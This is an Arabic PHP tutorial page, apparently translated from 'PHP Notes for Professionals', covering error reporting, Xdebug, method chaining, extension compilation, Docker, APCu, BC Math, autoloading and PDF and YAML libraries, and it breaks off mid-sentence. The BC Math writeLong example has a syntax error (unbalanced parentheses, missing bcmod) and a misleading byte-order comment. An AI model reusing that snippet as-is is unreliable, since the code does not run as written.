الأخطاء التي تحدث وقت التنفيذ runtime errors على الصفحة وذلك إما في ملف php.ini أو باستخدام الدالة ini_set. يمكنك اختيار الأخطاء التي تريد عرضها باستخدام دالة error_reporting، أو في ملف ini والتي تقبل الثوابت E_*‎ مجموعةً باستخدام العوامل الثنائية، ويمكن عرض الأخطاء على شكل نص أو بصيغة HTML وذلك حسب الإعداد html_errors. مثال ini_set("display_errors", true); // عرض الأخطاء كنص بسيط ini_set("html_errors", false); // ‫عرض كل شيء باستثناء E_USER_NOTICE error_reporting(E_ALL & ~E_USER_NOTICE); // E_USER_NOTICE trigger_error("Pointless error"); // E_NOTICE echo $nonexistentVariable; // E_ERROR nonexistentFunction(); خرج نصي بسيط: (تختلف صيغة HTML بين التنفيذات) Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7 Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in /path/to/file.php:8 Stack trace: #0 {main} thrown in /path/to/file.php on line 8 الطريقة الشائعة لمعالجة error_reporting هي تمكينه بالكامل باستخدام الثابت E_ALL أثناء التطوير وتعطيل عرض الأخطاء للعامة باستخدام display_errors في مرحلة الإنتاج لإخفاء ما يوجد داخل السكربت. phpinfo()‎ phpinfo(); لهذه الدالة معامل واحد ‎$what يسمح بتخصيص الخرج، قيمته الافتراضية INFO_ALL وتسبب عرض كل المعلومات وتُستخدم عادةً أثناء التطوير لمعرفة حالة PHP الحالية، ويمكنك تمرير المعامل ثوابت INFO_*‎ مجموعةً باستخدام العوامل الثنائية للحصول على قائمة مخصصة، يمكنك تنفيذها في المتصفح للحصول على التفاصيل بتنسيقٍ جيد، وتعمل أيضًا في واجهة سطر أوامر PHP حيث يمكنك نقلها بعرضٍ أفضل. مثال phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES); ستعرض هذه الشيفرة قائمة من موجهات PHP (‏ini_get)ومتغيرات البيئة (‎$_ENV) والمتغيرات المعرفة مسبقًا. Xdebug Xdebug إضافة PHP توفر إمكانيات تنقيح الأخطاء والتحليل، تستخدم بروتوكول تحديد الأخطاء DBGp والتي هي اختصار لـ ‏DeBugGer Protocol، من ميزات هذه الإضافة: مكدس يتتبع الأخطاء. حماية قصوى بمستوى متداخل وتتبع الوقت. بديل مفيد لدالة var_dump()‎ المعيارية لعرض المتغيرات. تسمح بتسجيل كل استدعاءات الدالة متضمنةً المعاملات والقيم المُعادة في ملف بتنسيقات مختلفة تحليل تغطية الشيفرة تحليل المعلومات تنقيح الأخطاء عن بعد (توفر واجهة للعملاء منقحي الأخطاء الذين يتفاعلون مع سكربت PHP المُنفَّذ). إنّ هذه الإضافة مناسبة تمامًا لبيئة التطوير، خاصةً ميزة تنقيح الأخطاء عن بعد التي يمكن أن تساعدك في تنقيح أخطاء شيفرة PHP بدون كتابة العديد من تعليمات var_dump واستخدام عملية تنقيح الأخطاء العادية كما في لغة C++‎ وجافا. تثبيت هذه الإضافة بسيط جدًا: pecl install xdebug # install from pecl/pear وتفعيلها في ملف php.ini: zend_extension="/usr/local/php/modules/xdebug.so" يمكنك الاطلاع على هذه التعليمات للحالات الأكثر تعقيدًا. يجب أن تتذكر عند استخدام هذه الأداة أنها غير مناسبة لبيئات الإنتاج. الإبلاغ عن الأخطاء استخدم الدالتين التاليتين معًا: // تضبط هذه الدالة خيار الإعداد في بيئتك ini_set('display_errors', '1'); // ‫ستسمح ‎?-1‎ بالإبلاغ عن كل الأخطاء error_reporting(-1); phpversion()‎ من الضروري أن تعرف إصدار محلل PHP الحالي أو إحدى الحزم عند العمل مع المكتبات المختلفة والمتطلبات المرتبطة بها. تقبل هذه الدالة معامل اختياري واحد في شكل اسم الإضافة phpversion('extension')‎، إذا ثُبِّتت الإضافة فإنّ الدالة سترجع سلسلة نصية تتضمن قيمة الإصدار وإلا ستُرجع القيمة FALSE، وإذا لم يتوفر اسم الإضافة ستُرجع الدالة إصدار محلل PHP نفسه. مثال print "Current PHP version: " . phpversion(); // Current PHP version: 7.0.8 print "Current cURL version: " . phpversion( 'curl' ); // Current cURL version: 7.0.8 // أو // false, no printed output if package is missing المراجع: http://php.net/manual/en/function.register-shutdown-function.php http://php.net/manual/en/function.error-get-last.php http://php.net/manual/en/errorfunc.constants.php ترجمة -وبتصرف- للفصول Common Errors ، وCompilation of Errors and Warnings ، وException Handling and Error Reporting ، وDebugging من كتاب PHP Notes for Professionals book
  6. يوفر هذا الجزء أمثلة عن أنماط التصميم المعروفة المُنفَّذة في PHP. سلسلة التوابع في PHP سَلسَلة التوابع هي تقنية موضحة في كتاب لغات محددة للنطاق لصاحبه Martin Fowler وتُلخص بالشكل التالي: جعل توابع التعديل تُرجع كائن المضيف بحيث يمكن تنفيذ عدة تعديلات في تعبير واحد. بفرض لدينا هذه الشيفرة النظامية الخالية من السَلسَلة (نُقلت إلى PHP من الكتاب المذكور أعلاه) $hardDrive = new HardDrive; $hardDrive->setCapacity(150); $hardDrive->external(); $hardDrive->setSpeed(7200); تسمح لنا سَلسَلة التوابع بكتابة الشيفرة السابقة بطريقةٍ مختصرة: $hardDrive = (new HardDrive) ->setCapacity(150) ->external() ->setSpeed(7200); كل ما تحتاجه هو إضافة return $this إلى التابع الذي نريد سَلسَلته. class HardDrive { protected $isExternal = false; protected $capacity = 0; protected $speed = 0; public function external($isExternal = true) { $this->isExternal = $isExternal; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setCapacity($capacity) { $this->capacity = $capacity; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setSpeed($speed) { $this->speed = $speed; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } } متى نستخدمها؟ الحالات الأساسية التي نستخدم فيها سَلسَلة التوابع هي عند بناء لغات خاصة بالنطاق الداخلي، سَلسَلة التابع هي بناء كتلة في باني التعبير والواجهات السلسة. إنّها ليست مرادفة لهما لكن أسلوب السَلسلة يمكّنهما كما يذكر Martin Fowler: ورغم ذلك يعدّ الكثير من الأشخاص أنّ استخدام سَلسَلة التابع فقط لتجنب كتابة الكائن المضيف مشكلة شيفرة، لأنّه يصنع واجهة برمجة تطبيقات API غير واضحة خاصةً عند الدمج مع واجهة برمجة تطبيقات خالية من سَلسَلة التوابع. ملاحظات إضافية فصل استعلام الأوامر: فصل استعلام الأوامر هو مبدأ في التصميم قدّمه Bertrand Meyer وينص على أنّ التوابع التي تغير الحالة (الأوامر) يجب ألا ترجع شيئًا، أما التوابع التي ترجع شيئًا ما (الاستعلامات) يجب ألا تغير الحالة. وهذا يجعل من السهل التفكير في النظام. تنتهك سَلسَلة التوابع هذا المبدأ لأننا التابع يغير الحالة ويُعيد شيئًا ما. التوابع الجالبة getters: يجب الانتباه عند استخدام الأصناف التي تنفذ سَلسَلة التوابع إلى استدعاء توابع الجالب (أي التوابع التي تُرجع شيئًا ما غير ‎$this)، بما أنّ الجالب يجب أن يرجع قيمة ما غير ‎$this فإنّ سَلسلة تابع إضافي على التابع الجالب يجعل الاستدعاء يُنفَّذ على القيمة التي حُصِل عليها وليس على الكائن الأصلي، إلا أنّ هناك بعض الحالات لسَلسلة التوابع الجالبة قد تجعل الشيفرة أقل قابلية للقراءة. قانون ديميتر وتأثيره على الاختبار: لا تنتهك سَلسلة التوابع قانون ديميتر كما أنّها لا تؤثر على الاختبار وذلك لأننا نعيد الكائن المضيف وليس بعض المتعاونين. إنّه مفهوم خاطئ شائع عند الأشخاص الذين يخلطون بين سَلسلة التوابع والواجهات السلسة وبناة التعبير، يُنتهك قانون ديميتر فقط عندما تعيد سَلسلة التوابع كائنات أخرى غير الكائن المضيف وينتهي بك الأمر بالحصول على اختبارات وهمية في اختباراتك. تصريف إضافات PHP في نظام لينوكس Linux يوجد عدة متطلبات لتصريف إضافة PHP في بيئة لينكس نموذجية: مهارات يونكس الأساسية (أن تكون قادرًا على تشغيل الأمر "make" ومصرِّف C). مصرِّف لغة C يدعم المعيار ANSI. الشيفرة المصدرية لإضافة PHP التي تريد تصريفها. عمومًا، يوجد طريقتين لتصريف إضافة PHP. يمكنك تصريف الإضافة بشكلٍ ساكن إلى الصيغة الثنائية في PHP أو تصريفها كوحدة مشتركة محملة من قِبل الصيغة الثنائية في PHP عند بدء التشغيل. ومن الأفضل استخدام الوحدات المشتركة لأنها تسمح بإضافة أو حذف الإضافات بدون إعادة بناء كامل صيغة PHP الثنائية، يركز هذا المثال على الخيار المشترك. إذا ثبّت PHP باستخدام مدير الحزم ‎(apt-get install, yum install, etc..)‎ ستحتاج إلى تثبيت حزمة ‎-dev من أجل PHP، والتي ستتضمن ملفات ترويسة PHP وسكربت phpize الضروريين لتعمل بيئة البناء. قد تسمى الحزمة باسم مثل php5-dev أو php7-dev لكن تأكد من استخدام مدير حزمتك للبحث عن الاسم المناسب باستخدام مستودعات التوزيعة الخاصة بك لأنها قد تختلف. إذا بنيت PHP من المصدر فعلى الأغلب أنّ ملفات الترويسة موجودة بالفعل في نظامك، تكون عادةً في المسار ‎/usr/include أو ‎/usr/local/include خطوات التصريف بعد أن تتأكد من أنّه لديك كل المتطلبات الضرورية للتصريف يمكنك التوجه إلى pecl.php.net واختيار الإضافة التي تريد تصريفها وتحميل ملف tarball الخاص بها. فك ضغط ملف tarball (مثل: tar xfvz yaml-2.0.0RC8.tgz) أدخل المجلد حيث فُكَّ ضغط الأرشيف، ونفّذ الأمر phpize. يجب أن ترى الآن سكربت جديد مُنشأ حديثًا ‎.configure، إذا كان كل شيء على ما يرام عندها نفّذ الأمر ‎./configure. ستحتاج الآن إلى تنفيذ الأمر make الذي سيصرّف الإضافة. أخيرًا ننفذ الأمر make install التي ستنسخ الملف الثنائي المصرَّف إلى مجلد الإضافة الخاص بك. سيوفر لك الأمر make install مسار التثبيت الذي نُسخت فيه الإضافة، والذي يكون عادةً في ‎/usr/lib/‎، قد يكون مثلًا ‎/usr/lib/php5/20131226/yaml.so‎ يعتمد هذا على إعدادات PHP الخاصة بك (مثل ‎--with-prefix) ونسخة واجهة برمجة التطبيقات المحددة. يُضمَّن رقم واجهة برمجة التطبيقات في المسار للحفاظ على الإضافات المبنية لإصدارات واجهات برمجة تطبيقات مختلفة في مواقع مختلفة. تحميل الإضافة في PHP لتحميل الإضافة في PHP، ابحث عن ملف php.ini المحمَّل من أجل واجهة برمجة التطبيقات للخادم (SAPI) المناسبة، وأضف السطر extension=yaml.so ثم أعد تشغيل PHP وغيّر yaml.so إلى اسم الإضافة المثبّتة الفعلي. بالنسبة للإضافة Zend فأنت تحتاج إلى توفير المسار الكامل لملف الكائن المشترك، أما في باقي إضافات PHP العادية، فيُشتق هذا المسار من الموجِّه extension_dir في ملف الإعدادات المحمَّل أو من متغير البيئة ‎$PATH أثناء إعداد التهيئة. ترجمة -وبتصرف- للفصول Design Patterns - Compile PHP Extensions من كتاب PHP Notes for Professionals book
  7. يُعَدّ Docker حاويةً شائعة جدًا تُستخدم على نطاقٍ واسع كحلّ لنشر الشيفرة في بيئات الإنتاج، كما أنها تسهّل إدارة وتوسيع تطبيقات الويب والخدمات الصغيرة. الحصول على صورة دوكر من أجل php لنشر التطبيق على دوكر نحتاج أولًا للحصول على الصورة من السجل registry. docker pull php سيوفر لك هذا أحدث إصدار للصورة من مستودع ‏php الرسمي، تُستخدم php بشكلٍ عام لنشر تطبيقات الويب لذا نحتاج إلى خادم http ليتوافق مع الصورة. تأتي الصورة في الإصدار php:7.0 (أو إصدار أحدث) مُثبّتة مسبقًا مع apache لتنشر تطبيقك بدون مشاكل. كتابة dockerfile يُستخدم Dockerfile لضبط الصورة المخصصة التي سننشئها مع شيفرات تطبيق الويب، ننشئ ملف جديد Dockerfile في المجلد الجذر للمشروع ونضع فيه المحتويات التالية: FROM php:7.0-apache COPY /etc/php/php.ini /usr/local/etc/php/ COPY . /var/www/html/ EXPOSE 80 يستخدم السطر الأول لوصف الصورة التي يجب استخدامها لإنشاء صورة جديدة، يمكن تغيير هذا إلى أي إصدار PHP آخر محدد من السجل، والسطر الثاني لتحميل ملف php.ini إلى الصورة ويمكنك تغيير هذا الملف إلى موقع ملف مخصص آخر، وينسخ السطر الثالث الشيفرات في المجلد الحالي إلى ‎/var/www/html والذي هو webroot بالنسبة لنا، تذكر أن ‎/var/www/html داخل الصورة، أما السطر الأخير فسيفتح المنفذ 80 داخل حاوية دوكر. قد يكون لديك في بعض الحالات بعض الملفات التي لا تريدها على الخادم مثل ملف إعدادات البيئة، بفرض أنّ إعدادات البيئة موجودة لدينا في ملف ‎.env ونريد تجاهله عندها نضيفه إلى ‎.dockerignore في المجلد الجذر لشيفرتنا. بناء الصورة إنّ بناء الصورة شيء غير محدد في php، لكن لبناء الصورة التي تحدثنا عنها في الأعلى نستخدم مايلي: docker build -t <Image name> . يمكننا التحقق من بناء الصورة باستخدام: docker images سيعطيك هذا الأمر كل الصور المثبتة في نظامك. بدء حاوية التطبيق يمكننا البدء بتقديم الخدمة بمجرد أن تصبح الصورة جاهزة، نستخدم ما يلي لإنشاء حاوية من الصورة: docker run -p 80:80 -d <Image name> ستوجّه ‎-p 80:80 في الأمر السابق المنفذ 80 الخاص بخادمك إلى المنفذ 80 الخاص بالحاوية، وستخبر الراية ‎-d أنّه يجب تنفيذ الحاوية في الخلفية وتصف <Image name> الصورة التي يجب استخدامها لبناء الحاوية. التحقق من الحاوية نستخدم ما يلي للتحقق من الحاويات قيد التنفيذ: docker ps سيعطينا هذا الأمر قائمة بكل الحاويات التي تُنفَّذ. سجلات التطبيق تعدّ السجلات مهمة جدًا لتنقيح أخطاء التطبيق، وللتحقق منها نستخدم الأمر: docker logs <Container id> مخزن APCu APCu هو مخزن قيمة-مفتاح للذاكرة المشتركة في PHP، تُشارك الذاكرة بين عملياتPHP-FPM ‎ (أي Fast Process Manager)‎‍ في نفس المجمع pool وتستمر البيانات المخزنة بين العمليات. تكرار محتويات المداخل يسمح الصنف APCUIterator بتكرار محتويات المداخل في المخزن المؤقت cache: foreach (new APCUIterator() as $entry) { print_r($entry); } يمكن تهيئة المكرِّر بتعبير نمطي اختياري لاختيار المداخل المتطابقة مع المفاتيح فقط: foreach (new APCUIterator($regex) as $entry) { print_r($entry); } يمكن الحصول على معلومات مدخل ذاكرة مؤقتة واحدة بالشكل التالي: $key = '…'; $regex = '(^' . preg_quote($key) . '$)'; print_r((new APCUIterator($regex))->current()); تخزين واسترجاع بسهولة يمكن استخدام apcu_store لتخزين قيم وapcu_fetch لاستعادتها: $key = 'Hello'; $value = 'World'; apcu_store($key, $value); print(apcu_fetch('Hello')); // 'World' تخزين معلومات توفر apcu_cache_info معلومات حول المخزن ومداخله: print_r(apcu_cache_info()); لاحظ أنّ استدعاء apcu_cache_info()‎ بدون حد سيعيد كل البيانات المخزنة حاليًا، ولهذا نستخدم apcu_cache_info(true)‎، للحصول على البيانات الوصفية فقط، كما أنه من الأفضل استخدام الصنف APCUIterator للحصول على معلومات عن مداخل ذاكرة تخزين مؤقتة محددة. ترجمة -وبتصرف- للفصل Docker deployment - APCu من كتاب PHP Notes for Professionals book
  8. تدعم الإضافة (BC Math) كلًا من الدوال الآتية: bcadd: تضيف هذه الدالة أي رقمين بدقة ما، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bccomp: توازن بين رقمين بدقة ما، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية والتي ستُستخدم في الموازنة. bcdiv: تقسّم رقمين بدقة ما، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcmod: تعيد باقي قسمة رقم على رقم آخر ذو دقة ما، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. divisor: العدد الذي نريد القسمة عليه على شكل سلسلة نصية. bcmul: تعيد نتيجة ضرب رقمين بدقةٍ ما، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpow: ترفع رقم ذو دقةٍ ما إلى رقم آخر: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpowmod: ترفع رقم ذو دقةٍ ما إلى رقم آخر، مخفضًا بباقي قسمة محدد: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. modulus: باقي القسمة على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcscale: تضبط معامل القياس الافتراضي لكل دوال الإضافة bc math: scale: عامل القياس. bcsqrt: تعطي الجذر التربيعي لرقم ذو دقةٍ ما، ومعاملاتها: operand: المعامَل على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcsub: تطرح رقم ذو دقةٍ ما من رقم آخر، ومعاملاتها: left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. يمكن استخدام الآلة الحاسبة الثنائية للتعامل مع أرقام بأي حجم وبدقة عشرية تصل إلى 2147483647‎-1‎، بتنسيق سلسلة نصية، وهي أدق من الحساب العشري في PHP. استخدام bcmath لقراءة/كتابة رقم ثنائي طويل في أنظمة 32 بت لا يمكن تخزين الأعداد الصحيحة التي تكون أكبر من 0x7FFFFFFF في أنظمة 32 بت بشكلٍ أساسي، بينما يمكن تخزين الأعداد الصحيحة بين 0x0000000080000000 و0x7FFFFFFFFFFFFFFF في أنظمة 64 بت ولا يمكن تخزينها في أنظمة 32 بت (طويلة جدًا وذات إشارة). ومع ذلك بما أنّ أنظمة 64 بت والعديد من اللغات الأخرى تدعم تخزين الأعداد الصحيحة الطويلة جدًا ذات الإشارة فمن الضروري أحيانًا تخزين هذا المجال من الأعداد الصحيحة بالقيمة الدقيقة. هناك عدة طرق للقيام بذلك مثل إنشاء مصفوفة من رقمين أو تحويل العدد الصحيح إلى صيغته العشرية القابلة للقراءة من قِبل البشر، ولهذا العديد من الميزات مثل الراحة في العرض للمستخدم وقابلية معالجته باستخدام bcmath مباشرةً. يمكن استخدام التوابع pack وunpack للتحويل بين البايتات الثنائية والصيغة العشرية للأرقام (كلاهما من النوع سلسلة لكن الأولى ثنائية والثانية بترميز ASCII، لكنهم سيحاولون دائمًا تحويل السلسلة النصية بترميز ASCII إلى عدد صحيح 32 بت في أنظمة 32 بت، توفر الشيفرة التالية بديل: // ‫استخدم pack("J")‎ أو pack("p")‎⁡ في أنظمة 64 بت function writeLong(string $ascii) : string { // ‫إذا كان ‎$ascii < 0‎ if(bccomp($ascii, "0") === -1) { // 18446744073709551616 = (1 << 64) // ‫تذكر إضافة علامات الاقتباس وإلا سيُحلَّل الرقم على أنه عشري $ascii = bcadd($ascii, "18446744073709551616"); } // ‫"n" لتخزين البتات الأقل أهمية أولًا بصيغة 16 بت بدون إشارة، نستخدم "v" لتخزين البتات الأكثر أهمية أولًا return pack("n", bcmod(bcdiv($ascii, "281474976710656"), "65536")) . pack("n", bcmod(bcdiv($ascii, "4294967296"), "65536")) . pack("n", bcdiv($ascii, "65536"), "65536")) . pack("n", bcmod($ascii, "65536")); } function readLong(string $binary) : string { $result = "0"; $result = bcadd($result, unpack("n", substr($binary, 0, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 2, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 4, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 6, 2))); // ‫إذا كان ‎?$binary طويل جدًا ومع إشارة // ‫9223372036854775808‎ = (1 << 63)‎ (لاحظ أن هذا التعبير لا يعمل حتى في أنظمة 64 بت) if(bccomp($result, "9223372036854775808") !== -1) { // ‫إذا كان ‎$result >= 9223372036854775807 $result = bcsub($result, "18446744073709551616"); // $result -= (1 << 64) } return $result; } موازنة بين BCMath والعمليات الحسابية العشرية bcadd مقابل رقم عشري+رقم عشري: var_dump('10' + '-9.99'); // float(0.0099999999999998) var_dump(10 + -9.99); // float(0.0099999999999998) var_dump(10.00 + -9.99); // float(0.0099999999999998) var_dump(bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000" bcsub مقابل رقم عشري-رقم عشري: var_dump('10' - '9.99'); // float(0.0099999999999998) var_dump(10 - 9.99); // float(0.0099999999999998) var_dump(10.00 - 9.99); // float(0.0099999999999998) var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000" bcmul مقابل رقم صحيح*رقم صحيح: var_dump('5.00' * '2.00'); // float(10) var_dump(5.00 * 2.00); // float(10) var_dump(bcmul('5.0', '2', 20)); // string(4) "10.0" var_dump(bcmul('5.000', '2.00', 20)); // string(8) "10.00000" var_dump(bcmul('5', '2', 20)); // string(2) "10" bcmul مقابل رقم عشري*رقم عشري: var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259) var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259) var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289" bcdiv مقابل رقم عشري/رقم عشري: var_dump('10' / '3.01'); // float(3.3222591362126) var_dump(10 / 3.01); // float(3.3222591362126) var_dump(10.00 / 3.01); // float(3.3222591362126) var_dump(bcdiv('10', '3.01', 20)); // string(22) "3.32225913621262458471" ترجمة -وبتصرف- للفصل [BC Math (Binary Calculator)‎] من كتاب PHP Notes for Professionals book
  9. التحميل التلقائي (autoloading) كجزء من حل إطار العمل ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف Ruminant.php: class Ruminant extends Animal { public function eats($food) { if ('grass' === $food) { parent::eats($food); } else { echo "Yuck, $food!"; } } } ملف Cow.php: class Cow extends Ruminant { } ملف pasture.php: require 'autoload.php'; $animal = new Cow; $animal->eats('grass'); يمكننا الوصول إلى أي صنف يتبع اصطلاحات التسمية الموجودة في المحمِّل التلقائي وذلك بفضل المحمل التلقائي العام. اصطلاحاتنا في هذا المثال بسيطة: يجب أن يكون للصنف المطلوب ملف في نفس المجلد يُسمّى بنفس اسم الصنف وتُضاف له اللاحقة ‎.php، يجب أن يكون اسم الصنف مطابقًا تمامًا لاسم الملف. بدون التحميل التلقائي، يجب أن نضيف الأصناف الأساسية يدويًا باستخدام require، إذا كنا نبني حديقة حيوانات كاملة سيكون لدينا الآلاف من تعليمات require التي يمكن استبدالها بسهولة بمحمِّل تلقائي واحد. في التحليل النهائي، يعدّ التحميل التلقائي في PHP آلية تساعدك على كتابة شيفرة بآلية أقل لذا يمكنك التركيز على حل مشاكل العمل، كل ماعليك فعله هو تحديد استراتيجية تربط اسم الصنف باسم الملف، يمكنك تنفيذ استراتيجية تحميل تلقائي خاصة بك كما هو الحال هنا، أو يمكنك استخدام أي من المعايير التي تتبناها PHP: ‏PSR-0 أو‏PSR-4 أو يمكنك استخدام المُنشئ لتعريف الاعتماديات وإدارتها بشكلٍ عام. تعريف صنف مضمَّن بدون الحاجة للتحميل ملف zoo.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } $animal = new Animal(); $animal->eats('meat'); تعلم PHP ماهو الصنف Animal قبل تنفيذ التعليمة new Animal لأن PHP تقرأ الملفات المصدرية من الأعلى إلى الأسفل، لكن ماذا لو أردنا إنشاء كائنات من الصنف Animal في عدة أماكن ليس فقط في الملف المصدري الذي عُرِّف فيه، نحتاج للقيام بذلك إلى تحميل تعريف الصنف. تحميل يدوي للصنف باستخدام require ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'Animal.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'Animal.php'; $animal = new Animal; $animal->eats('shrimp'); لدينا ثلاثة ملفات، يعرّف الملف الأول "Animal.php" الصنف، ويجمع كل المعلومات المتعلقة بالحيوان في مكان واحد بشكلٍ أنيق، ليس لهذا الملف آثار جانبية، هذه نسخة قابلة للتحكم ويمكن إعادة استخدامها بسهولة. يستخدم الملفان الآخران هذا الملف بتضمينه يدويًا، وبما أنّ PHP تقرأ الملف المصدري من الأعلى إلى الأسفل فإنّ تعليمة require ستجد الملف "Animal.php" وتجعل تعريف الصنف Animal متوفرًا قبل استدعاء new Animal. تخيل الآن أنّه لديك عشرات أو مئات الحالات التي تريد فيها إنشاء كائنات جديدة من الصنف Animal قد يتطلب ذلك الكثير من تعليمات require المملة. التحميل التلقائي بديلًا لتحميل تعريف الصنف يدويًا ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'autoload.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'autoload.php'; $animal = new Animal; $animal->eats('shrimp'); وازن هذا المثال مع الأمثلة الأخرى، ولاحظ كيف استبدلنا التعليمة require "Animal.php‎"‎ بالتعليمة require "autoload.php"‎، مازلنا نضمن الملف الخارجي في وقت التنفيذ لكن بدلًا من تضمين تعريف صنف معين نضمّن منطق يمكن أن يحتوي على أي صنف وهذا يسهّل عملية التطوير،إذ نكتب تعليمة require واحدة لكل الأصناف بدلًا من كتابتها لكل صنف على حدة. يحدث السحر باستخدام spl_autoload_register، إذ تأخذ هذه الدالة مغلِّف وتضيفه إلى رتل من المغلِّفات، عندما تصادف PHP صنفًا ليس له تعريف فإنها تعطي اسم الصنف إلى كل مغلِّف في الرتل، إذا وِجد الصنف بعد استدعاء مغلِّف ما فإنّ PHP تعود إلى عملها السابق، وإذا لم يوجد الصنف بعد تجربة كامل الرتل تتعطل PHP وتطلق الخطأ "Class 'Whatever' not found.‎" التحميل التلقائي مع المُنشِئ يولِّد المُنشئ الملف vendor/autoload.php، يمكنك تضمين هذا الملف ببساطة وستحصل على التحميل التلقائي مجانًا. require __DIR__ . '/vendor/autoload.php'; وهذا يجعل العمل مع اعتماديات من طرف ثالث (third-party dependencies) سهل جدًا، ويمكنك أن تضيف أيضًا شيفرتك الخاصة إلى المحمِّل التلقائي بإضافة قسم تحميل تلقائي إلى composer.json. { "autoload": { "psr-4": {"YourApplicationNamespace\\": "src/"} } } تحدد في هذا القسم رابط التحميل التلقائي، يربط هذا المثال PSR-4 فضاء اسم إلى مجلد، يبقى المجلد ‎/src في المجلد الجذر لمشاريعك في نفس المستوى الموجود فيه المجلد ‎/vendor، يمكن أن يكون لديك اسم الملف src/Foo.php مثلًا والذي يحتوي على الصنف YourApplicationNamespace\Foo. ملاحظة: بعد إضافة مداخل جديدة إلى قسم التحميل التلقائي يجب إعادة تنفيذ الأمر dump-autoload لإعادة توليد وتحديث الملف vendor/autoload.php بالمعلومات الجديدة. يدعم المُنشئ التحميل التلقائي للمعيار PSR-0 وclassmap وfiles بالإضافة إلى PSR-4، يمكنك الاطلاع على مرجع التحميل التلقائي لمزيد من المعلومات. عند تضمين الملف vendor/autoload.php ستُرجع نسخة من المحمِّل التلقائي للمُنشئ، يمكنك تخزين القيمة المُرجعة من استدعاء التضمين في متغير وإضافة المزيد من فضاءات الأسماء، يمكن أن يكون هذا مفيدًا في التحميل التلقائي للأصناف في مجموعة الاختبار، مثال: $loader = require __DIR__ . '/vendor/autoload.php'; $loader->add('Application\\Test\\', __DIR__); إنشاء ملفات PDF في PHP مكتبة PDFlib تتطلب الشيفرة التالية استخدام مكتبة PDFlib لتعمل بشكلٍ صحيح. <?php // تهيئة كائن جديد $pdf = pdf_new(); // ‫إنشاء ملف pdf فارغ جديد pdf_begin_document($pdf);? // ضبط معلومات الملف pdf_set_info($pdf, "Author", "John Doe"); pdf_set_info($pdf, "Title", "HelloWorld"); // تحديد طول وعرض الصفحة pdf_begin_page($pdf, (72 * 8.5), (72 * 11)); // تحميل خط $font = pdf_findfont($pdf, "Times-Roman", "host", 0) // ضبط الخط pdf_setfont($pdf, $font, 48); // تعيين موضع النص pdf_set_text_pos($pdf, 50, 700); // طباعة النص إلى الموضع المحدد pdf_show($pdf, "Hello_World!"); // نهاية الصفحة pdf_end_page($pdf); // إغلاق الكائن pdf_end_document($pdf); // استعادة المحتويات من المخزن المؤقت $document = pdf_get_buffer($pdf); // ‫إيجاد طول ملف PDF وتعيين اسم للملف $length = strlen($document); $filename = "HelloWorld.pdf"; header("Content-Type:application/pdf"); header("Content-Length:" . $length); header("Content-Disposition:inline; filename=" . $filename); // إرسال الملف إلى المتصفح echo($document); // مسح الذاكرة unset($document); pdf_delete($pdf); ?> مكتبة YAML تثبيت الإضافة YAML لا تأتي إضافة YAML مع تثبيت PHP القياسي، بل يجب تثبيتها كإضافة PECL، ويمكن القيام بذلك في لينوكس/يونكس ببساطة: pecl install yaml لاحظ أنّ الحزمة libyaml-dev يجب أن تكون مثبتة على النظام لأنّ حزمة PECL هي مجرد غلاف لاستدعاءات libYAML. يختلف التثبيت على ويندوز، إذ يمكنك تحميل DLL المصرَّف مسبقًا أو بناؤه من المصدر. استخدام YAML لتخزين إعدادات التطبيق توفر مكتبة YAML طريقةً لتخزين البيانات المهيكلة، يمكن أن تكون البيانات مجموعة بسيطة من الأزواج اسم-قيمة أو بيانات هرمية معقدة مع قيم أو قد تكون 